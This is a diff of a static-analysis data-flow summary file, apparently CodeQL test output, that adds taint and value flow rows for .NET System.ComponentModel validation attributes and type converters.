System.ComponentModel.DataAnnotations.Schema;TableAttribute;TableAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.Schema.TableAttribute.Name];value;dfc-generated | | System.ComponentModel.DataAnnotations;AllowedValuesAttribute;AllowedValuesAttribute;(System.Object[]);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.AllowedValuesAttribute.Values];value;dfc-generated | +| System.ComponentModel.DataAnnotations;AllowedValuesAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;AssociatedMetadataTypeTypeDescriptionProvider;GetTypeDescriptor;(System.Type,System.Object);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel.DataAnnotations;AssociatedMetadataTypeTypeDescriptionProvider;GetTypeDescriptor;(System.Type,System.Object);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;AssociationAttribute;(System.String,System.String,System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.Name];value;dfc-generated | @@ -8454,16 +8483,24 @@ summary | System.ComponentModel.DataAnnotations;AssociationAttribute;AssociationAttribute;(System.String,System.String,System.String);Argument[2];Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.OtherKey];value;dfc-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_OtherKeyMembers;();Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.OtherKey];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_ThisKeyMembers;();Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.ThisKey];ReturnValue.Element;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;Base64StringAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;CompareAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];value;dfc-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;dfc-generated | +| System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherPropertyDisplayName];value;df-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherPropertyDisplayName];value;dfc-generated | +| System.ComponentModel.DataAnnotations;CreditCardAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;CustomValidationAttribute;(System.Type,System.String);Argument[1];Argument[this].Property[System.ComponentModel.DataAnnotations.CustomValidationAttribute.Method];value;dfc-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;CustomValidationAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;DataTypeAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.DataTypeAttribute.CustomDataType];value;dfc-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;GetDataTypeName;();Argument[this].Property[System.ComponentModel.DataAnnotations.DataTypeAttribute.CustomDataType];ReturnValue;value;dfc-generated | +| System.ComponentModel.DataAnnotations;DataTypeAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;DeniedValuesAttribute;DeniedValuesAttribute;(System.Object[]);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.DeniedValuesAttribute.Values];value;dfc-generated | +| System.ComponentModel.DataAnnotations;DeniedValuesAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;DisplayAttribute;GetAutoGenerateField;();Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel.DataAnnotations;DisplayAttribute;GetAutoGenerateFilter;();Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel.DataAnnotations;DisplayAttribute;GetDescription;();Argument[this];ReturnValue;taint;df-generated | @@ -8475,8 +8512,11 @@ summary | System.ComponentModel.DataAnnotations;DisplayColumnAttribute;DisplayColumnAttribute;(System.String,System.String,System.Boolean);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.DisplayColumnAttribute.DisplayColumn];value;dfc-generated | | System.ComponentModel.DataAnnotations;DisplayColumnAttribute;DisplayColumnAttribute;(System.String,System.String,System.Boolean);Argument[1];Argument[this].Property[System.ComponentModel.DataAnnotations.DisplayColumnAttribute.SortColumn];value;dfc-generated | | System.ComponentModel.DataAnnotations;DisplayFormatAttribute;GetNullDisplayText;();Argument[this];ReturnValue;taint;df-generated | +| System.ComponentModel.DataAnnotations;EmailAddressAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;EnumDataTypeAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;FileExtensionsAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;FileExtensionsAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;FileExtensionsAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;FilterUIHintAttribute;(System.String,System.String,System.Object[]);Argument[0];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.FilterUIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.UIHint];value;dfc-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;FilterUIHintAttribute;(System.String,System.String,System.Object[]);Argument[1];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.FilterUIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.PresentationLayer];value;dfc-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;get_ControlParameters;();Argument[this];ReturnValue;taint;df-generated | @@ -8484,27 +8524,41 @@ summary | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;get_PresentationLayer;();Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.FilterUIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.PresentationLayer];ReturnValue;value;dfc-generated | | System.ComponentModel.DataAnnotations;LengthAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;LengthAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;LengthAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;MaxLengthAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;MaxLengthAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;MaxLengthAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;MinLengthAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;MinLengthAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;MinLengthAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;PhoneAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;RangeAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;RangeAttribute;(System.Type,System.String,System.String);Argument[1];Argument[this].Property[System.ComponentModel.DataAnnotations.RangeAttribute.Minimum];value;dfc-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;RangeAttribute;(System.Type,System.String,System.String);Argument[2];Argument[this].Property[System.ComponentModel.DataAnnotations.RangeAttribute.Maximum];value;dfc-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.RegularExpressionAttribute.Pattern];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;RegularExpressionAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;RegularExpressionAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.RegularExpressionAttribute.Pattern];value;dfc-generated | +| System.ComponentModel.DataAnnotations;RequiredAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;StringLengthAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;StringLengthAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;StringLengthAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;UIHintAttribute;(System.String,System.String,System.Object[]);Argument[0];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.UIHint];value;dfc-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;UIHintAttribute;(System.String,System.String,System.Object[]);Argument[1];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.PresentationLayer];value;dfc-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;get_ControlParameters;();Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;get_PresentationLayer;();Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.PresentationLayer];ReturnValue;value;dfc-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;get_UIHint;();Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.UIHint];ReturnValue;value;dfc-generated | +| System.ComponentModel.DataAnnotations;UrlAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;GetValidationResult;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.String);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.ValidationAttribute._errorMessageResourceAccessor];value;dfc-generated | @@ -8667,8 +8721,12 @@ summary | System.ComponentModel;AmbientValueAttribute;AmbientValueAttribute;(System.String);Argument[0];Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];value;dfc-generated | | System.ComponentModel;AmbientValueAttribute;AmbientValueAttribute;(System.Type,System.String);Argument[1];Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];value;dfc-generated | | System.ComponentModel;AmbientValueAttribute;get_Value;();Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];ReturnValue;value;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ArrayConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;AsyncCompletedEventArgs;AsyncCompletedEventArgs;(System.Exception,System.Boolean,System.Object);Argument[0];Argument[this].Property[System.ComponentModel.AsyncCompletedEventArgs.Error];value;dfc-generated | | System.ComponentModel;AsyncCompletedEventArgs;AsyncCompletedEventArgs;(System.Exception,System.Boolean,System.Object);Argument[2];Argument[this].Property[System.ComponentModel.AsyncCompletedEventArgs.UserState];value;dfc-generated | @@ -8698,8 +8756,12 @@ summary | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;BindingList;ApplySort;(System.ComponentModel.PropertyDescriptor,System.ComponentModel.ListSortDirection);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel;BindingList;Find;(System.ComponentModel.PropertyDescriptor,System.Object);Argument[this].Element;ReturnValue;value;manual | | System.ComponentModel;BindingList;InsertItem;(System.Int32,T);Argument[1];Argument[this].SyntheticField[System.Collections.ObjectModel.Collection`1.items].Element;value;dfc-generated | @@ -8721,11 +8783,19 @@ summary | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CollectionChangeEventHandler;BeginInvoke;(System.Object,System.ComponentModel.CollectionChangeEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CollectionConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;ComplexBindingPropertiesAttribute;ComplexBindingPropertiesAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.ComplexBindingPropertiesAttribute.DataSource];value;dfc-generated | | System.ComponentModel;ComplexBindingPropertiesAttribute;ComplexBindingPropertiesAttribute;(System.String,System.String);Argument[0];Argument[this].Property[System.ComponentModel.ComplexBindingPropertiesAttribute.DataSource];value;dfc-generated | @@ -8749,8 +8819,12 @@ summary | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CultureInfoConverter;GetCultureName;(System.Globalization.CultureInfo);Argument[0].Property[System.Globalization.CultureInfo.Name];ReturnValue;value;dfc-generated | | System.ComponentModel;CultureInfoConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;CustomTypeDescriptor;CustomTypeDescriptor;(System.ComponentModel.ICustomTypeDescriptor);Argument[0];Argument[this].SyntheticField[System.ComponentModel.CustomTypeDescriptor._parent];value;dfc-generated | @@ -8762,20 +8836,36 @@ summary | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| 